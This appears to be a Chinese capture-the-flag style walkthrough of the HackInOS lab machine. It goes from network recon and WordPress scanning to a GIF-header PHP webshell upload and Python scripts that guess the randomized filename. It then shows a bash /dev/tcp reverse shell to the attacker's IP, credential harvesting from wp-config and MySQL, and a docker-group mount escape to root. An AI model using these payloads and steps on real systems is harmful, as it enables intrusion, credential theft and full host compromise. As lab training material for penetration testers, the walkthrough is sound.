HackInOS 是一个经典渗透测试靶机,考察 WordPress 漏洞利用、文件上传绕过与 Docker 逃逸。通关路径:arp-scan 定位靶机,wpscan 与 dirsearch 发现 WordPress 5.0.3 与可疑的 upload.php 上传接口,伪造 GIF 文件头绕过 getimagesize 检查上传一句话木马,爆破 MD5 随机文件名触发反弹 Shell;从容器内 MySQL 的非标准表 host_ssh_cred 获取宿主机 SSH 凭据登录,最终利用 docker 组成员身份挂载宿主机根目录完成逃逸,获取 root 权限与 flag。
环境搭建
HackInOS 是一个非常经典的渗透测试实战靶机,主要考察 WordPress 漏洞利用、上传绕过以及提权等技巧。可以通过以下链接直接访问下载页面:
- VulnHub 详情页: HackInOS: 1 - VulnHub
- 直接下载链接(OVA 格式): HackInOS.ova
攻击复现
内网主机探测
当前靶机 IP 地址未知,需进行内网主机探测。使用 arp-scan 扫描同网段主机(工具原理见arp-scan 工具的工作原理与实践)。
┌──(root㉿kali)-[~]└─$ arp-scan --interface=eth0 --localnetInterface: eth0, type: EN10MB, MAC: 00:0c:29:46:e9:3f, IPv4: 192.168.31.152Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.31.1 04:67:61:bc:85:68 (Unknown)192.168.31.6 e4:c7:67:b4:57:f8 (Unknown)192.168.31.109 a8:0c:63:c9:48:96 HUAWEI TECHNOLOGIES CO.,LTD192.168.31.129 a6:f1:fa:6d:a8:6e (Unknown: locally administered)192.168.31.206 00:0c:29:65:8e:dd VMware, Inc.发现内网中存在 VMware 主机:192.168.31.206。
端口扫描与服务识别
┌──(kali㿿kali)-[~]└─$ nmap -sS -Pn -T4 -sV -p- --script "default" 192.168.31.206
# 扫描结果如下PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)| 256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)|_ 256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)8000/tcp open http Apache httpd 2.4.25 ((Debian))|_http-open-proxy: Proxy might be redirecting requests|_http-title: Blog – Just another WordPress site|_http-generator: WordPress 5.0.3|_http-server-header: Apache/2.4.25 (Debian)| http-robots.txt: 2 disallowed entries|_/upload.php /uploadsMAC Address: 00:0C:29:65:8E:DD (VMware)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel目标主机开放端口 22 与 8000。WordPress 5.0.3 发布于 2019 年初,存在多个已知漏洞。robots.txt 暴露了 /upload.php 和 /uploads,标准的 WordPress 不会直接在根目录放 upload.php,这是一个明显的异常点。
扫描 WordPress
运行 wpscan 来识别插件漏洞和枚举用户:
┌──(kali㿿kali)-[~]└─$ wpscan --url http://192.168.31.206:8000 -e u,vp,vt
[+] URL: http://192.168.31.206:8000/ [192.168.31.206]
Interesting Finding(s):
[+] Headers | Interesting Entries: | - Server: Apache/2.4.25 (Debian) | - X-Powered-By: PHP/7.2.15 | Found By: Headers (Passive Detection) | Confidence: 100%
[+] robots.txt found: http://192.168.31.206:8000/robots.txt | Found By: Robots Txt (Aggressive Detection) | Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.31.206:8000/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09). | Found By: Emoji Settings (Passive Detection) | - http://192.168.31.206:8000/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3' | Confirmed By: Meta Generator (Passive Detection) | - http://192.168.31.206:8000/, Match: 'WordPress 5.0.3'
[+] handsome_container | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)扫描发现 XML-RPC 已开启。在 WordPress 渗透中,xmlrpc.php 通常被用来进行高效的密码爆破:比起传统的登录表单,它可以通过 system.multicall 在一次请求中尝试数百个密码。还发现了一个叫 handsome_container 的用户,尝试暴力破解:
┌──(kali㿿kali)-[~]└─$ wpscan --url http://192.168.31.206:8000/ \ --password-attack xmlrpc \ -t 50 \ -U handsome_container \ -P /usr/share/wordlists/rockyou.txt--password-attack xmlrpc:强制使用 XML-RPC 批量验证模式;-t 50:开启 50 个并发线程。此路未跑出结果。
目录扫描
┌──(kali㿿kali)-[~]└─$ dirsearch -u http://192.168.31.206:8000/
Target: http://192.168.31.206:8000/
[04:26:59] Starting:...[04:27:14] 301 - 0B - /index.php -> http://192.168.31.206:8000/[04:27:14] 301 - 0B - /index.php/login/ -> http://192.168.31.206:8000/login/[04:27:15] 200 - 7KB - /license.txt[04:27:21] 200 - 3KB - /readme.html[04:27:21] 200 - 52B - /robots.txt[04:27:22] 403 - 304B - /server-status[04:27:22] 403 - 305B - /server-status/[04:27:26] 200 - 260B - /upload.php[04:27:26] 301 - 325B - /uploads -> http://192.168.31.206:8000/uploads/[04:27:26] 403 - 299B - /uploads/[04:27:28] 301 - 326B - /wp-admin -> http://192.168.31.206:8000/wp-admin/[04:27:28] 200 - 0B - /wp-config.php[04:27:28] 400 - 1B - /wp-admin/admin-ajax.php[04:27:28] 302 - 0B - /wp-admin/ -> http://localhost:8000/wp-login.php?redirect_to=http%3A%2F%2F192.168.31.206%3A8000%2Fwp-admin%2F&reauth=1[04:27:28] 500 - 3KB - /wp-admin/setup-config.php[04:27:28] 200 - 537B - /wp-admin/install.php[04:27:28] 301 - 328B - /wp-content -> http://192.168.31.206:8000/wp-content/[04:27:28] 200 - 0B - /wp-content/[04:27:28] 403 - 329B - /wp-content/plugins/akismet/akismet.php[04:27:28] 403 - 327B - /wp-content/plugins/akismet/admin.php[04:27:28] 200 - 184B - /wp-content/plugins/hello.php[04:27:28] 301 - 329B - /wp-includes -> http://192.168.31.206:8000/wp-includes/[04:27:28] 403 - 303B - /wp-includes/[04:27:28] 200 - 0B - /wp-cron.php[04:27:28] 200 - 187B - /wp-includes/rss-functions.php[04:27:28] 302 - 0B - /wp-signup.php -> http://localhost:8000/wp-login.php?action=register[04:27:28] 200 - 1KB - /wp-login.php[04:27:28] 405 - 42B - /xmlrpc.php
Task Completed/upload.php:响应大小只有 260 字节,这通常意味着它要么是一个非常简单的 HTML 表单,要么是一个没有任何 UI 的后端处理脚本。
文件上传
结合扫描的结果,首先访问 upload.php,点击提交按钮什么也不上传,发现提示:
Warning: getimagesize(): Filename cannot be empty in /var/www/html/upload.php on line 25

由此可知 uploads 文件夹位于 /var/www/html/ 目录下,并使用 getimagesize 函数对图片信息做了获取。
创建一个测试文件 test.txt,内容随便写。然后尝试通过 POST 请求发送:
┌──(kali㿿kali)-[~]└─$ curl -F "file=@test.txt" http://192.168.31.206:8000/upload.php
<!DOCTYPE html><html>
<body>
<div align="center"><form action="" method="post" enctype="multipart/form-data"> <br> <b>Select image : </b> <input type="file" name="file" id="file" style="border: solid;"> <input type="submit" value="Submit" name="submit"></form></div>
<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint --></body></html>请求返回的内容中发现有一条注释:<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->,查看 GitHub 上的项目源码,分析可知以下几点:
$rand_number = rand(1,100); //生成1-100之间的随机数 $target_dir = "uploads/"; $target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number)); //对上传的文件名添加随机数并使用md5加密处理
/*****分割线*****/
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){ $uploadOk = 1; }else{ $uploadOk = 0; echo ":)"; } //网页对MIME类型进行检测 //校验方式是校验文件内容(实际校验的是文件开头几个标志文件类型的字节,PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式为GIF98) //利用文件头标志判断文件类型:https://blog.mythsman.com/post/5d301940976abc05b345469f/欺骗 getimagesize() 最简单的方法是伪造一个 GIF 文件头:
┌──(kali㿿kali)-[~]└─$ echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php点击上传可知文件被传输到 uploads/ 目录:

写一个 Python 脚本快速寻找上传的一句话木马:
import hashlibimport requests
url = "http://192.168.31.206:8000/uploads/"filename = "shell.php" # 确保这和你上传时的文件名完全一致
print("[*] Starting to brute force the MD5 filename...")
for i in range(1, 101): # 模拟 PHP 的 md5(basename($_FILES["file"]["name"].$rand_number)) data = filename + str(i) md5_hash = hashlib.md5(data.encode()).hexdigest()
full_url = f"{url}{md5_hash}.php"
try: response = requests.get(full_url, timeout=2) if response.status_code == 200: print(f"\n[+] Found! Your shell is at: {full_url}") print(f"[+] Execution test (id): {full_url}?cmd=id") res = requests.get(f"{full_url}?cmd=id") print(f"[+] Result: {res.text.strip()}") break except requests.RequestException: passelse: print("\n[-] Failed to find the shell.")查找成功:
┌──(kali㿿kali)-[~]└─$ python find_shell.py[*] Starting to brute force the MD5 filename...
[+] Found! Your shell is at: http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php[+] Execution test (id): http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php?cmd=id[+] Result: GIF89auid=33(www-data) gid=33(www-data) groups=33(www-data)但过一会刷新后就发现上传的一句话木马已经失效了,存活时间不超过 10 秒。推测靶机挂了一个定时清理任务(Cron Job),每隔几秒清空一次上传目录,模拟真实环境中的 EDR/杀毒脚本。

这里可以重新上传一个大马形成稳定后门,也可以直接反弹 Shell。
反弹 Shell
重新准备一个反弹木马:
GIF89a<?phpsystem("bash -c 'bash -i >& /dev/tcp/192.168.31.152/4444 0>&1'");?>本地开启监听:
┌──(kali㿿kali)-[~]└─$ nc -lvvp 4444listening on [any] 4444 ...手动上传木马后运行 Python 脚本触发反弹:
import hashlibimport requestsfrom concurrent.futures import ThreadPoolExecutor
# 配置信息TARGET_URL_DIR = "http://192.168.31.206:8000/uploads/"UPLOADED_FILENAME = "rev.php" # 浏览器选择的文件名
def check_and_trigger(md5_hash): full_url = f"{TARGET_URL_DIR}{md5_hash}.php" try: # 使用 head 请求减少流量,如果文件存在则立即用 get 触发 resp = requests.head(full_url, timeout=1) if resp.status_code == 200: requests.get(full_url, timeout=1) return True except: pass return False
def main(): print(f"[*] 正在为文件 '{UPLOADED_FILENAME}' 生成 1-100 的 MD5 路径...")
# 预先生成 100 个可能的 MD5 值 possible_hashes = [] for i in range(1, 101): data = UPLOADED_FILENAME + str(i) md5_hash = hashlib.md5(data.encode()).hexdigest() possible_hashes.append(md5_hash)
print("[*] 脚本已就绪。请在浏览器点击 'Submit' 上传,然后立即按回车键开始扫描...")
# 使用线程池进行高速并发扫描 with ThreadPoolExecutor(max_workers=20) as executor: results = list(executor.map(check_and_trigger, possible_hashes))
if not any(results): print("\n[-] 未能触发木马。可能原因:文件名不符、上传失败或删档速度过快。")
if __name__ == "__main__": main()反弹 Shell 成功:

用户 www-data
收集信息
反弹 Shell 成功后尝试收集目标的核心信息:
www-data@1afdd1f6b82c:/var/www/html/uploads$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@1afdd1f6b82c:/var/www/html/uploads$ uname -aLinux 1afdd1f6b82c 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 x86_64 GNU/Linuxwww-data@1afdd1f6b82c:/var/www/html/uploads$ sudo -lbash: sudo: command not found从主机名 1afdd1f6b82c 可以看出这很可能是一个容器,当前用户身份为 www-data。sudo 命令没找到,但这在 Docker 容器环境中非常常见。
收集 WordPress 配置信息:
www-data@1afdd1f6b82c:/var/www/html$ cat /var/www/html/wp-config.php<?php// ** MySQL settings - You can get this info from your web host ** ///** The name of the database for WordPress */define('DB_NAME', 'wordpress');
/** MySQL database username */define('DB_USER', 'wordpress');
/** MySQL database password */define('DB_PASSWORD', 'wordpress');
/** MySQL hostname */define('DB_HOST', 'db:3306');
/** Database Charset to use in creating database tables. */define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */define('DB_COLLATE', '');
// ** 略 ** //拿到的数据库凭据是 wordpress / wordpress,DB_HOST 定义为 db:3306,这再次证实当前处于一个 Docker 容器集群中(使用了 Docker Compose 链接)。
升级交互式 Shell
现在的 Shell 只是一个通过 nc 获得的简单管道(Simple Pipe),不是真正的交互式 TTY,执行 su 等命令会报错,需要升级 Shell:
www-data@1afdd1f6b82c:/var/www/html/uploads$ susu: must be run from a terminalwww-data@1afdd1f6b82c:/var/www/html/uploads$ python3 -c 'import pty; pty.spawn("/bin/bash")'按下键盘上的 Ctrl + Z,Shell 回到本地终端,设置原始终端模式并带回前台,再设置环境变量,Shell 功能就完整了:
www-data@1afdd1f6b82c:/var/www/html/uploads$ ^Zzsh: suspended nc -lvvp 4444
┌──(kali㿿kali)-[~]└─$ stty raw -echo; fg[1] + continued nc -lvvp 4444
www-data@1afdd1f6b82c:/var/www/html/uploads$ export TERM=xterm数据库信息提取
由于当前在容器内,可以使用 mysql 客户端连接到 db 主机:
www-data@1afdd1f6b82c:/var/www/html/uploads$ mysql -h db -u wordpress -p
MySQL [(none)]> use wordpress;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A
Database changedMySQL [wordpress]> show tables;+-----------------------+| Tables_in_wordpress |+-----------------------+| host_ssh_cred || wp_commentmeta || wp_comments || wp_links || wp_options || wp_postmeta || wp_posts || wp_term_relationships || wp_term_taxonomy || wp_termmeta || wp_terms || wp_usermeta || wp_users |+-----------------------+13 rows in set (0.00 sec)
MySQL [wordpress]> select user_login, user_pass from wp_users;+--------------------+------------------------------------+| user_login | user_pass |+--------------------+------------------------------------+| Handsome_Container | $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0 |+--------------------+------------------------------------+1 row in set (0.01 sec)
MySQL [wordpress]> SELECT * FROM host_ssh_cred;+-------------------+----------------------------------+| id | pw |+-------------------+----------------------------------+| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |+-------------------+----------------------------------+1 row in set (0.01 sec)发现了一个非标准表 host_ssh_cred。标准的 WordPress 安装中不会有这张表,这是靶机作者留下的线索:一个名为 hummingbirdscyber 的用户 ID 和对应的密码哈希。wp_users 表中还有一个名为 Handsome_Container 的用户。
其中 hummingbirdscyber 的 Hash(e10adc3949ba59abbe56e057f20f883e)是 123456 的标准 MD5 值,在在线 MD5 破解网站检索即可得到明文。
而 Handsome_Container 的 Hash($P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0)是典型的 phpass(WordPress 默认使用的哈希算法)。将 Hash 内容保存到文档中,使用 John the Ripper 破解:
┌──(kali㿿kali)-[~]└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt经测试并未爆破出密码。也可以直接篡改数据库中的密码哈希后登录 WordPress 后台,但此路后续利用不上。
用户 hummingbirdscyber
其他路暂时走不通,先使用凭据 hummingbirdscyber / 123456 通过 SSH 登录宿主机:
┌──(kali㿿kali)-[~]└─$ ssh hummingbirdscyber@192.168.31.206hummingbirdscyber@192.168.31.206's password:
hummingbirdscyber@vulnvm:~$ iduid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)收集信息
hummingbirdscyber@vulnvm:~$ sudo -l[sudo] password for hummingbirdscyber:Sorry, user hummingbirdscyber may not run sudo on vulnvm.hummingbirdscyber@vulnvm:~$ groupshummingbirdscyber adm cdrom dip plugdev lpadmin sambashare docker无法使用 sudo,但用户在 docker 组中。在 Linux 中,如果一个普通用户在 docker 组中,这通常等同于拥有了 root 权限:Docker 守护进程以 root 运行,docker 组成员可以通过挂载宿主机的根目录到容器内,实现对整个宿主机系统的读写。
Docker 挂载逃逸
启动一个容器,并将宿主机的根目录(/)挂载到容器内部的 /mnt。这样,在容器里对 /mnt 的任何操作都会直接反映在宿主机上。如果提示找不到 alpine 镜像,可以尝试使用本地已有的镜像(比如之前的 WordPress 镜像):
hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it alpine chroot /mntUnable to find image 'alpine:latest' locally
hummingbirdscyber@vulnvm:~$ docker imagesREPOSITORY TAG IMAGE ID CREATED SIZEwordpress latest 69e1f4ea543a 6 years ago 420MBmysql 5.7 e47e309f72c8 6 years ago 372MBubuntu latest 47b19964fb50 6 years ago 88.1MB
hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it wordpress chroot /mnt# iduid=0(root) gid=0(root) groups=0(root)# python3 -c 'import pty; pty.spawn("/bin/bash")'root@3cc711f05eff:/#获取 Flag
root@3cc711f05eff:/# cd /rootroot@3cc711f05eff:~# lsflagroot@3cc711f05eff:~# cat flagCongratulations!flag 内容为一段 ASCII 字符画(作者署名 ys),通关完成。
参考链接
- VulnHub 详情页:https://www.vulnhub.com/entry/hackinos-1,295/
- 上传接口源码(GitHub):https://github.com/fatihhcelik/Vulnerable-Machine---Hint